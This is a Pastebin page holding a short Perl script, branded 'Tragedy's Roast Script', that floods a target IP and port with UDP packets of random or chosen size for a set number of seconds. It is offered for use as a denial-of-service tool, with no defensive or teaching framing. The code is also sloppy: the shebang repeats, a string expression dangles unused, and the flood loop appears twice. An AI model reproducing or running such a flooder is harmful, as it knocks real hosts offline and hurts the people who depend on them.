Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/perl
- ##
- #!/usr/bin/perl
- use Socket;
- use strict;
- use Term::ANSIColor;
- my ($ip,$port,$size,$time) = @ARGV;
- my ($iaddr,$endtime,$psize,$pport);
- $iaddr = inet_aton("$ip") or die "Usage: perl roast.pl ip port 65500 time $ip\n";
- $endtime = time() + ($time ? $time : 100);
- socket(flood, PF_INET, SOCK_DGRAM, 17);
- print "\e[33m[!] You're Using Tragedy's Roast Script\n\e[0m";
- print "\e[33m[!] You're about to Roast $ip:$port for $time seconds\n\e[0m";
- print "\e[36m Let the Roast Begin....\n\e[0m";
- ($size ? "$size-byte" : "sent") . " " .
- ($time ? "for $time seconds" : "") . "\n";
- for (;time() <= $endtime;) {
- $psize = $size ? $size : int(rand(1024-64)+64) ;
- $pport = $port ? $port : int(rand(65500))+1;
- send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport,
- $iaddr));}for (;time() <= $endtime;) {
- $psize = $size ? $size : int(rand(1024-64)+64) ;
- $pport = $port ? $port : int(rand(65500))+1;
- send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport,
- $iaddr));}
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement